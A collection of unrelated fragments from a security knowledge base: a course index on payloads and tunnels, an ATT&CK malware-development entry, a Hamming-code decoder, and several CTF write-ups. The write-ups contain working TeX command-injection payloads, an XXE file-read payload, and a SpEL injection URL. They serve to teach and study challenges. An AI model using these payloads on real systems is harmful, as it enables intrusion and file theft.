runs-on: windows-2019 steps: - name: Execute run: | whoami ``` ## References * [Controlling the Source: Abusing Source Code Management Systems - Brett Hawkins - August 9, 2022](https://securityintelligence.com/posts/abusing-source-code-management-systems/) * [CI/CD SECRETS EXTRACTION, TIPS AND TRICKS - Hugo Vincent, Théo Louis-Tisserand - 01/03/2023](https://www.synacktiv.com/publications/cicd-secrets-extraction-tips-and-tricks.html)
sec-knowleage
### [第九十一课:从目标文件中做信息搜集第一季](../Chapter1/91-100/91_从目标文件中做信息搜集第一季.md) ### [第九十二课:实战中的Payload应用](../Chapter1/91-100/92_实战中的Payload应用.md) ### [第九十三课:与CrackMapExec结合攻击](../Chapter1/91-100/93_与CrackMapExec结合攻击.md) ### [第九十四课:基于实战中的small payload](../Chapter1/91-100/94_基于实战中的small-payload.md) ### [第九十五课:基于Portfwd端口转发](../Chapter1/91-100/95_基于Portfwd端口转发.md) ### [第九十六课:HTTP隧道ABPTTS第一季](../Chapter1/91-100/96_HTTP隧道ABPTTS第一季.md) ### [第九十七课:MSF配置自定义Payload控制目标主机权限](../Chapter1/91-100/97_MSF配置自定义Payload控制目标主机权限.md) ### [第九十八课:HTTP隧道reGeorg第二季](../Chapter1/91-100/98_HTTP隧道reGeorg第二季.md) ### [第九十九课:HTTP隧道Tunna第三季](../Chapter1/91-100/99_HTTP隧道Tunna第三季.md) ### [第一百课:HTTP隧道reDuh第四季](../Chapter1/91-100/100_HTTP隧道reDuh第四季.md)
sec-knowleage
def mult(a, b): rows_a = len(a) cols_a = len(a[0]) rows_b = len(b) cols_b = len(b[0]) if cols_a != rows_b: print "cannot multiply the two matrices. Incorrect dimensions:", cols_a, rows_b return c = [[0 for row in range(cols_b)] for col in range(rows_a)] for i in range(rows_a): for j in range(cols_b): c[i][j] = sum(a[i][k] * b[k][j] for k in range(cols_a)) & 1 return c def transpose(mat): return [[mat[y][x] for y in range(len(mat))] for x in range(len(mat[0]))] assert transpose([[1, 2, 3], [4, 5, 6]]) == [[1, 4], [2, 5], [3, 6]] def make_matrix(w, h, data): return [[data[i*w+j] for j in range(w)] for i in range(h)] assert make_matrix(2, 3, [1, 2, 3, 4, 5, 6]) == [[1, 2], [3, 4], [5, 6]] def unmake_matrix(w, h, data): return [data[i/w][i%w] for i in range(w*h)] assert unmake_matrix(2, 3, [[1, 2], [3, 4], [5, 6]]) == [1, 2, 3, 4, 5, 6] def chunks(data, n, pad_obj=0): pad = list(data) + [pad_obj] * (n-1) return [pad[i*n:(i+1)*n] for i in range(len(pad)/n)] assert chunks([1, 2, 3, 4, 5], 3) == [[1, 2, 3], [4, 5, 0]] def helical_interleave_part(w, h, dat): mat = make_matrix(w, h, dat) conv = [[mat[(y+x) % h][x] for x in range(w)] for y in range(h)] return unmake_matrix(w, h, conv) assert helical_interleave_part(2, 3, [1, 2, 3, 4, 5, 6]) == [1, 4, 3, 6, 5, 2] def helical_interleave(w, h, dat): return sum((helical_interleave_part(w, h, part) for part in chunks(dat, w*h)), []) assert helical_interleave(2, 3, [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12]) == [1, 4, 3, 6, 5, 2, 7, 10, 9, 12, 11, 8] def helical_deinterleave_part(w, h, dat): mat = make_matrix(w, h, dat) conv = [[mat[(y-x) % h][x] for x in range(w)] for y in range(h)] return unmake_matrix(w, h, conv) assert helical_deinterleave_part(2, 3, [1, 4, 3, 6, 5, 2]) == [1, 2, 3, 4, 5, 6] def helical_deinterleave(w, h, dat): return sum((helical_deinterleave_part(w, h, part) for part in chunks(dat, w*h)), []) def encode_helix(g, data): h, w = len(g), len(g[0]) return transpose(sum((transpose(mult([chunk], g)) for chunk in chunks(data, h)), []))[0] def decode_helix(g, data): h, w = len(g), len(g[0]) return sum((chunk[:h] for chunk in chunks(data, w)), []) def get_wrong_bit(h, dec): for i, row in enumerate(transpose(h)): if row == dec: return i def decode_helix_ec(g_mat, h_mat, data): h, w = len(g_mat), len(g_mat[0]) result = [] for chunk in chunks(data, w): dec = transpose(mult(h_mat, transpose([chunk])))[0] if not all(b == 0 for b in dec): bit = get_wrong_bit(h_mat, dec) chunk[bit] = 1 - chunk[bit] result += chunk[:h] return result def decode_helix_or_die_trying(g_mat, h_mat, data): h, w = len(g_mat), len(g_mat[0]) result = [] for chunk in chunks(data, w): dec = transpose(mult(h_mat, transpose([chunk])))[0] if not all(b == 0 for b in dec): chunk = [0] * h result += chunk[:h] return result def decode_helix_brute(g_mat, h_mat, data): h, w = len(g_mat), len(g_mat[0]) result = [] for chunk in chunks(data, w): dec = transpose(mult(h_mat, transpose([chunk])))[0] if not all(b == 0 for b in dec): chunk = [0] * h result += chunk[-h:] return result # dec = transpose(mult(h, transpose(cod))) # assert all(d == 0 for d in dec[0]) # for i in range(3): # dec[0][i] = 1 - dec[0][i] # assert not all(d == 0 for d in dec[0]) # dec[0][i] = 1 - dec[0][i] g = [ [1 ,0 ,0 ,0 ,1 ,1 ,1], [0 ,1 ,0 ,0 ,0 ,1 ,1], [0 ,0 ,1 ,0 ,1 ,0 ,1], [0 ,0 ,0 ,1 ,1 ,1 ,0], ] h = [ [1, 0, 1, 1, 1, 0, 0], [1, 1, 0, 1, 0, 1, 0], [1, 1, 1, 0, 0, 0, 1], ] raw = [1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0] enc = encode_helix(g, raw) assert decode_helix(g, enc) == raw enc2 = list(enc) enc2[2] = 1 - enc2[2] assert decode_helix_ec(g, h, enc2) == raw assert raw == decode_helix(g, encode_helix(g, raw)) #print h dat = [[1, 0, 1, 1]] #print dat cod = mult(dat, g) #print cod cod[0][1] = 1 dec = transpose(mult(h, transpose(cod))) #print dec #print get_wrong_bit(h, dec) def validate_helix(g, h): N = 1000 import random for i in range(N): dat = [[random.randint(0, 1) for i in range(len(g))]] cod = mult(dat, g) dec = transpose(mult(h, transpose(cod))) assert all(d == 0 for d in dec[0]) for i in range(3): dec[0][i] = 1 - dec[0][i] assert not all(d == 0 for d in dec[0]) dec[0][i] = 1 - dec[0][i] validate_helix(g, h) mat_g = [ [1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0], [0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0], [0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1], [0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 0], [0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1], [0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1], [0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 0], [0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0], [0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 0, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1, 0], [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 1], ] mat_h = [ [1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0], [0, 1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0], [1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0], [0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1, 0], [0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 1], ] validate_helix(mat_g, mat_h) data = open('data.txt').read().strip() data = [int(c) for c in data] result = [] for w in range(1, 30): print w, ':', for h in range(1, 30): print h, fail = 0 helix = helical_deinterleave(w, h, data) cs = chunks(helix, 31) for c in cs: hamming_check = mult(mat_h, transpose([c])) hamming_check = transpose(hamming_check) if not all(n == 0 for n in hamming_check[0]): fail += 1 result.append((fail, w, h)) print def safe(s): return ''.join(c if 32 <= ord(c) <= 127 else '.' for c in s) result = sorted(result) fail, w, h = result[0] print 'fail', fail, 'w', w, 'h', h #for i in range(len(cs)): # c = cs[i] # hamming_check = mult(mat_h, transpose([c])) # hamming_check = transpose(hamming_check) # if not all(n == 0 for n in hamming_check[0]): # for j in range(len(c)): # helix[i*len(c)+j] = 1 helix = helical_deinterleave(w, h, data) helix = decode_helix_brute(mat_g, mat_h, helix) dat = chunks(helix, 8) decr = [int(''.join(str(c) for c in chunk), 2) for chunk in dat] decr_hex = ''.join(chr(c) for c in decr).encode('hex') decr_bin = bin(int(decr_hex, 16))[2:] #print decr_bin for i in range(8): data = repr(''.join([chr(int(''.join(chunk), 2)) for chunk in chunks(decr_bin[i:], 8, '0')])) if 'SharifCTF' in data: print data #print safe(''.join(chr(c) for c in decr)) #print helix
sec-knowleage
# T1587-001-开发能力-恶意软件 ## 来自ATT&CK的描述 攻击者可能会开发恶意软件和恶意软件组件,可在攻击目标期间使用。构建恶意软件包括开发有效载荷、投放器、破坏后的工具、后门程序)、打包程序、C2协议,以及创建受感染的可移动媒体。攻击者可能会开发恶意软件来支持他们的行动,从而创建一种方法来保持对远程机器的控制、逃避防御和执行权限后的行为。 与合法的开发工作一样,开发恶意软件可能需要不同的技能组合。所需的技能可能位于内部,也可能需要外包。使用承包商可被视为该攻击者的恶意软件开发能力的延伸,前提是攻击者在塑造需求方面发挥作用并保持对恶意软件的一定程度的排他性。 恶意软件开发的某些方面,如C2协议开发,可能需要攻击者获得额外的基础设施。例如,为了C2与Twitter通信而开发的恶意软件可能需要使用Web服务。 ## 测试案例 无 ## 检测日志 无法有效监测 ## 测试复现 无 ## 测试留痕 无 ## 检测规则/思路 无 ## 建议 ### 缓解措施 这种技术不容易用预防控制来缓解,因为它是基于企业防御和控制范围之外的行为。 ### 检测 这种活动大多发生在目标组织的能见度之外,使得对这种行为的检测变得困难。检测工作可能集中在攻击生命周期中的破坏后阶段。 ## 相关TIP [[T1587-002-开发能力-代码签名证书]] [[T1587-003-开发能力-数字证书]] [[T1587-004-开发能力-漏洞利用]] ## 参考推荐 MITRE-ATT&CK-T1587-001 <https://attack.mitre.org/techniques/T1587/001/>
sec-knowleage
# Linked Out (Web) In the task we get access to a webpage for generating CVs. We are supposed to upload a YAML input file, and the page generates a PDF with a nice CV theme. We get an example input file so we can test the platform. There is a link to the github with style configuration of the theme, so we learn that this is all done with TeX. This points into the direction of injecting some malicious TeX directives inside the YAML payload in order to exploit the server. As one of the fields we can send for example '\input|ls ' and we get: ![](inject1.png) So we can list files on the server. With this we can try to browse a bit to look for the flag. We find the `flag` file in root `/` directory and we can send another payload `'\input|"cat /flag"|base64 '` to get: ![](inject2.png) So the flag is: `NDH{And_Donald_Knuth_created_the_iTeX}` Final payload [here](inject.yml)
sec-knowleage
# Encrypted espionage equipment, re, 468p > Our agents have discovered this gadget in one of the conference rooms. It is now located at the organizers table. We managed to extract the firmware. Can you make sense of it? In this task we got an ESP32 binary. It was actually an ELF with some symbols left, which heavily helped reversing it. Nonetheless, being xtensa architecture, there is next to no good tooling for analyzing it. We compiled an official toolchain from Espressif website, allowing us to use objdump and similar commands. Even then, analysis was hard, mostly due to very frequent indirection. In fact, we wrote a simple script parsing objdump output, that would append dereferenced address (sometimes twice...) to opcode's line. Before: ``` 400d18db: f9ecb1 l32r a11, 400d008c <_flash_cache_start+0x74> ``` After: ``` 400d18db: f9ecb1 l32r a11, 400d008c [0x3f401185-"%08x"] <_flash_cache_start+0x74> ``` After reversing, we found out that the chip was trying to connect to a certain SSID. The exact name and password was changing every thirty seconds, and was generated using BLAKE2S hash in HMAC mode. If connection succeeded, it would try to then connect to a certain IP and port, then listen for commands (in particular, `flag`, that would print out the flag). We set up Wi-Fi hotspot using calculated credentials, set our laptop's IP appropriately. After listening on the correct port, we eventually got the connection and the flag.
sec-knowleage
# quackme up Reversing, 350 points ## Description: > The duck puns continue. Can you crack, I mean quack this program as well? A binary was attached. ## Solution: Let's run the supplied binary: ```console root@kali:/media/sf_CTFs/pico/quackme_up# ./main We're moving along swimmingly. Is this one too fowl for you? Enter text to encrypt: test Here's your ciphertext: 51 40 21 51 Now quack it! : 11 80 20 E0 22 53 72 A1 01 41 55 20 A0 C0 25 E3 35 40 55 30 85 55 70 20 C1 That's all folks. ``` Looks like we will have to crack some ciphertext, but not to much to work with for now. The next step is launching a disassembler: ```assembly root@kali:/media/sf_CTFs/pico/quackme_up# r2 main -- Your endian swaps [0x08048450]> aa [x] Analyze all flags starting with sym. and entry0 (aa) [0x08048450]> afl 0x08048398 3 35 sym._init 0x080483d0 1 6 sym.imp.getline 0x080483e0 1 6 sym.imp.printf 0x080483f0 1 6 sym.imp.__stack_chk_fail 0x08048400 1 6 sym.imp.puts 0x08048410 1 6 sym.imp.strlen 0x08048420 1 6 sym.imp.__libc_start_main 0x08048430 1 6 sym.imp.putchar 0x08048440 1 6 fcn.08048440 0x08048450 1 33 entry0 0x08048480 1 4 sym.__x86.get_pc_thunk.bx 0x08048490 4 43 sym.deregister_tm_clones 0x080484c0 4 53 sym.register_tm_clones 0x08048500 3 30 sym.__do_global_dtors_aux 0x08048520 4 43 -> 40 entry1.init 0x0804854b 6 117 sym.read_input 0x080485c0 1 17 sym.do_magic 0x080485d1 1 39 sym.rol4 0x080485f8 1 39 sym.ror8 0x0804861f 6 96 sym.print_hex 0x0804867f 4 119 sym.encrypt 0x080486f6 1 158 sym.main 0x080487a0 4 93 sym.__libc_csu_init 0x08048800 1 2 sym.__libc_csu_fini 0x08048804 1 20 sym._fini [0x08048450]> s sym.main [0x080486f6]> pdf ;-- main: / (fcn) sym.main 158 | sym.main (int argc, char **argv, char **envp); | ; var int local_10h @ ebp-0x10 | ; var int local_ch @ ebp-0xc | ; var int local_4h @ ebp-0x4 | ; arg int arg_4h @ esp+0x4 | ; DATA XREF from entry0 (0x8048467) | 0x080486f6 8d4c2404 lea ecx, [arg_4h] ; 4 | 0x080486fa 83e4f0 and esp, 0xfffffff0 | 0x080486fd ff71fc push dword [ecx - 4] | 0x08048700 55 push ebp | 0x08048701 89e5 mov ebp, esp | 0x08048703 51 push ecx | 0x08048704 83ec14 sub esp, 0x14 | 0x08048707 83ec0c sub esp, 0xc | 0x0804870a 6884880408 push str.We_re_moving_along_swimmingly._Is_this_one_too_fowl_for_you ; 0x8048884 ; "We're moving along swimmingly. Is this one too fowl for you?" | 0x0804870f e8ecfcffff call sym.imp.puts ; int puts(const char *s) | 0x08048714 83c410 add esp, 0x10 | 0x08048717 83ec0c sub esp, 0xc | 0x0804871a 68c1880408 push str.Enter_text_to_encrypt: ; 0x80488c1 ; "Enter text to encrypt: " | 0x0804871f e8bcfcffff call sym.imp.printf ; int printf(const char *format) | 0x08048724 83c410 add esp, 0x10 | 0x08048727 e81ffeffff call sym.read_input | 0x0804872c 8945f0 mov dword [local_10h], eax | 0x0804872f 83ec0c sub esp, 0xc | 0x08048732 ff75f0 push dword [local_10h] | 0x08048735 e845ffffff call sym.encrypt | 0x0804873a 83c410 add esp, 0x10 | 0x0804873d 8945f4 mov dword [local_ch], eax | 0x08048740 83ec0c sub esp, 0xc | 0x08048743 68d9880408 push str.Here_s_your_ciphertext: ; 0x80488d9 ; "Here's your ciphertext: " | 0x08048748 e893fcffff call sym.imp.printf ; int printf(const char *format) | 0x0804874d 83c410 add esp, 0x10 | 0x08048750 83ec08 sub esp, 8 | 0x08048753 ff75f4 push dword [local_ch] | 0x08048756 ff75f0 push dword [local_10h] | 0x08048759 e8c1feffff call sym.print_hex | 0x0804875e 83c410 add esp, 0x10 | 0x08048761 a130a00408 mov eax, dword obj.encryptedBuffer ; [0x804a030:4]=0x8048820 str.11_80_20_E0_22_53_72_A1_01_41_55_20_A0_C0_25_E3_35_40_55_30_85_55_70_20_C1 ; " \x88\x04\b" | 0x08048766 83ec08 sub esp, 8 | 0x08048769 50 push eax | 0x0804876a 68f2880408 push str.Now_quack_it__:__s ; 0x80488f2 ; "Now quack it! : %s\n" | 0x0804876f e86cfcffff call sym.imp.printf ; int printf(const char *format) | 0x08048774 83c410 add esp, 0x10 | 0x08048777 83ec0c sub esp, 0xc | 0x0804877a 6806890408 push str.That_s_all_folks. ; 0x8048906 ; "That's all folks." | 0x0804877f e87cfcffff call sym.imp.puts ; int puts(const char *s) | 0x08048784 83c410 add esp, 0x10 | 0x08048787 b800000000 mov eax, 0 | 0x0804878c 8b4dfc mov ecx, dword [local_4h] | 0x0804878f c9 leave | 0x08048790 8d61fc lea esp, [ecx - 4] \ 0x08048793 c3 ret [0x080486f6]> ``` The magic seems to happen in `sym.encrypt`, let's inspect it: ``` [0x080486f6]> s sym.encrypt [0x0804867f]> VV ``` The first block of logic: ```assembly .----------------------------------------. | [0x804867f] | | (fcn) sym.encrypt 119 | | sym.encrypt (int arg_8h); | | ; var int local_11h @ ebp-0x11 | | ; var int local_10h @ ebp-0x10 | | ; var int local_ch @ ebp-0xc | | ; arg int arg_8h @ ebp+0x8 | | ; CALL XREF from sym.main (0x8048735) | | push ebp | | mov ebp, esp | | sub esp, 0x18 | | sub esp, 0xc | | push dword [arg_8h] | | ; size_t strlen(const char *s) | | call sym.imp.strlen;[ga] | | add esp, 0x10 | | mov dword [local_ch], eax | | mov dword [local_10h], 0 | | jmp 0x80486e9;[gb] | `----------------------------------------' ``` We'll rename local variables as we go by entering command mode with '`:`', e.g.: ``` Press <enter> to return to Visual mode. :> afvn input arg_8h :> afvn input_len local_ch :> afvn i local_10h ``` In this block, we just calculate the input length and initialize some local variable. We then jump to the [gd] block, which starts a loop: ``` .------------------. | | | | .------------------------------------------. | | 0x80486e9 [gb] | | | ; CODE XREF from sym.encrypt (0x804869d) | | | mov eax, dword [i] | | | cmp eax, dword [input_len] | | | jl 0x804869f;[gf] | | `------------------------------------------' | t f | | | | .-----------' | | | '---------------------------. | | | |.------------------------------------. .---------------------------------. || 0x804869f [gf] | | 0x80486f1 [gg] | || mov edx, dword [i] | | mov eax, dword [input_len] | || ; [0x8:4]=-1 | | leave | || ; 8 | | ret | || mov eax, dword [input] | `---------------------------------' || add eax, edx | || movzx eax, byte [eax] | || mov byte [local_11h], al | || movsx eax, byte [local_11h] | || sub esp, 0xc | || push eax | || call sym.rol4;[gd] | || add esp, 0x10 | || mov byte [local_11h], al | || xor byte [local_11h], 0x16 | || movsx eax, byte [local_11h] | || sub esp, 0xc | || push eax | || call sym.ror8;[ge] | || add esp, 0x10 | || mov byte [local_11h], al | || mov edx, dword [i] | || ; [0x8:4]=-1 | || ; 8 | || mov eax, dword [input] | || add edx, eax | || movzx eax, byte [local_11h] | || mov byte [edx], al | || add dword [i], 1 | |`------------------------------------' | v | | `----' ``` The loop is executed for i in 0..input_len. It performs some manipulations on input[i] and stores the result in-place. After the loop is done, the buffer contains the encrypted text. A Python implementation of the encryption functions is as follows: ```python from pwn import * def encrypt(s): res = "" for i in range(len(s)): c = ord(s[i]) c = rol(c, 4, word_size = 8) c ^= 0x16 c = ror(c, 8, word_size = 8) res += chr(c) return res assert (encrypt("test") == unhex("51 40 21 51".replace(" ", ""))) ``` We test the correctness using the encrypted output received from the program. In order to decrypt an encrypted message, we need to perform the opposite operation for each of the stages. For XOR, we just XOR again with the same value. However, for ROL we have to ROR and vice versa (as explained [here](https://www.aldeid.com/wiki/Category:Encryption/rol-ror)). Therefore, the decryption process is as follows: ```python def decrypt(s): res = "" for i in range(len(s)): c = ord(s[i]) c = rol(c, 8, word_size = 8) c ^= 0x16 c = ror(c, 4, word_size = 8) res += chr(c) return res ``` Since that last step in the encryption process is `ror` by 8, the first thing in the decryption process is `rol` by 8. Then we XOR with 0x16, just like in the encryption process. The last thing needed to decrypt is `ror` by 4, to negate the first step of encryption which was `rol` by 4. Now, all that's left is to decrypt the buffer provided by the program: ```python s = "11 80 20 E0 22 53 72 A1 01 41 55 20 A0 C0 25 E3 35 40 55 30 85 55 70 20 C1".replace(" ", "") log.info("Decrypting {}".format(s)) print decrypt(unhex(s)) ``` The output: ```console [*] Decrypting 118020E0225372A101415520A0C025E33540553085557020C1 picoCTF{qu4ckm3_2e4b94fc} ``` The flag: picoCTF{qu4ckm3_2e4b94fc}
sec-knowleage
# 安全运营相关文章 本篇整理一些安全运营相关的高质量文章 \[1] 谈安全运营与蓝队、运维的关系, 三里河安全研究, https://mp.weixin.qq.com/s/w-C3qc9K2VkrYz4uY4lTuw \[2] 体系化的WAF安全运营实践, 安全研究与实践, https://mp.weixin.qq.com/s/BiH23k7xAeuwb5wwaOEKVw \[3]职业欠钱:我理解的安全运营, 职业欠钱, https://www.secrss.com/articles/3857 \[4] 安全运营,自动化和编排的演变,[Jon Oltsik](https://www.csoonline.com/author/Jon-Oltsik/),https://www.csoonline.com/article/3270957/the-evolution-of-security-operations-automation-and-orchestration.html \[5] 大型互联网企业威胁情报运营与实践思考,e1knot,[美团安全应急响应中心](https://www.anquanke.com/member/128484),https://www.anquanke.com/post/id/187069
sec-knowleage
# Exploit 300 (pwn, 300p, ? solved) In the challenge we get address of a Java webapplication and [war file](blueprint.war). The challenge is a bit similar to the one in previous yeat, however this time the attack vector is not unsafe Java deserialization. Once we decompile the code in IntelliJ we notice that there are 2 endpoints available. One endpoint is `/jail` and another is `/office`. Office endpoint performs some kind of authentication and then uses some of our input inside a piece of Spring Expression Language snippet. This is very dangerous, since it often leads to RCE, but here we first need to authenticate, and this requires us to know the contents of `/TMCTF2019/key` file. In order to get it, we need the other endpoint - `/jail`. This endpoint is much simpler, it does only: ```java ServletInputStream is = request.getInputStream(); CustomOIS ois = new CustomOIS(is); Person person = (Person)ois.readObject(); ois.close(); response.getWriter().append("Sorry " + person.name + ". I cannot let you have the Flag!."); ``` Where `CustomOIS` allows only to deserialize objects of type `com.trendmicro.Person`. If we look closely how those objects are deserialized, we can see: ```java int paramInt = aInputStream.readInt(); byte[] arrayOfByte = new byte[paramInt]; aInputStream.read(arrayOfByte); ByteArrayInputStream localByteArrayInputStream = new ByteArrayInputStream(arrayOfByte); DocumentBuilderFactory localDocumentBuilderFactory = DocumentBuilderFactory.newInstance(); localDocumentBuilderFactory.setNamespaceAware(true); DocumentBuilder localDocumentBuilder = localDocumentBuilderFactory.newDocumentBuilder(); Document localDocument = localDocumentBuilder.parse(localByteArrayInputStream); NodeList nodeList = localDocument.getElementsByTagName("tag"); Node node = nodeList.item(0); this.name = node.getTextContent(); ``` It reads the size of the array, and then bytes array, which is later treated as XML document and parsed. In this XML the deserializer takes first `tag` node and collects text content of this node to use as `name` of the Person. So xml structure like: ```xml <tag>person name</tag> ``` There are 2 important things to understand here: 1. Java recognizes classes for deserialization based on their package+class name and some random `serialVersionID`. The latter is important to make sure we don't accidentally deserialize object with the same class name, or for example `old version` of some object. But since we have the original `Person` class and `serialVersionID` is set there, we can make our own class with the same value, and fool the server to deserialize such object for us. 2. Input we provide will be parsed as XML, which means there might be a possibility to use for example XXE attack. This is exactly what we do here, we created our own `Person` class: ```java public class Person implements Serializable { private static final long serialVersionUID = -559038737L; public String name; private void writeObject(java.io.ObjectOutputStream out) throws IOException { String payload = "<?xml version=\"1.0\"?><!DOCTYPE tag [<!ENTITY test SYSTEM 'file:///TMCTF2019/key'>]><tag>&test;</tag>"; out.writeInt(payload.length()); out.write(payload.getBytes()); } } ``` This class will get serialized the same way as Person class in the challenge expects for later deserialization. Now we can launch it: ```java public static void stage1() throws IOException { Person p = new Person(); ByteArrayOutputStream out = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(out); oos.writeObject(p); String host = "http://flagmarshal.xyz/jail"; ByteArrayOutputStream bos = new ByteArrayOutputStream(); try { RestTemplate restTemplate = new RestTemplate(); byte[] yourBytes = out.toByteArray(); HttpEntity<byte[]> entity = new HttpEntity<>(yourBytes); ResponseEntity<String> response = restTemplate.postForEntity(host, entity, String.class); System.out.println(response); System.out.println(response.getStatusCode()); System.out.println(response.getBody()); } catch (HttpServerErrorException ex) { System.out.println(ex.getResponseBodyAsString()); } finally { try { bos.close(); } catch (IOException ex) { } } } ``` And from this we get the key: `Fo0lMe0nce5hameOnUFoo1MeUCantGetF0oledAgain` Now we can proceed to the second stage. The code we're attacking is: ```java String nametag = request.getParameter("nametag"); String keyParam = request.getParameter("key"); String keyFileLocation = "/TMCTF2019/key"; String key = readFile(keyFileLocation, StandardCharsets.UTF_8); if (key.contentEquals(keyParam)) { ExpressionParser parser = new SpelExpressionParser(); String expString = "'" + nametag + "' == 'Marshal'"; Expression exp = parser.parseExpression(expString); Boolean isMarshal = (Boolean)exp.getValue(); if (isMarshal) { response.getWriter().append("Welcome Marsal"); } else { response.getWriter().append("I am sorry but you cannot see the Marshal"); } } else { response.getWriter().append("Did you forget your keys Marshal?"); } ``` We need to: - Send request with key=`Fo0lMe0nce5hameOnUFoo1MeUCantGetF0oledAgain` - Provide parameter `nametag` which will be placed into expression escaped by `'`. We can easily put `'` inside `nametag` to escape the string, and evaluate any code we want. We still need to keep the type proper, so we decided to pass: `'.isEmpty() && T(com.trendmicro.jail.Flag).getFlag() && '` So in the application it will become: `''.isEmpty() && T(com.trendmicro.jail.Flag).getFlag() && '' == 'Marshal'` It's a proper boolean expression and it will dump the flag for us, because the `getFlag` thrown an exception. We need to encode `&` as `%26` in order to be able to pass it into the url, and if we go to: `http://flagmarshal.xyz/Office?nametag='.isEmpty()%26%26T(com.trendmicro.jail.Flag).getFlag()%26%26'&&key=Fo0lMe0nce5hameOnUFoo1MeUCantGetF0oledAgain` We can see the flag in the stacktrace: 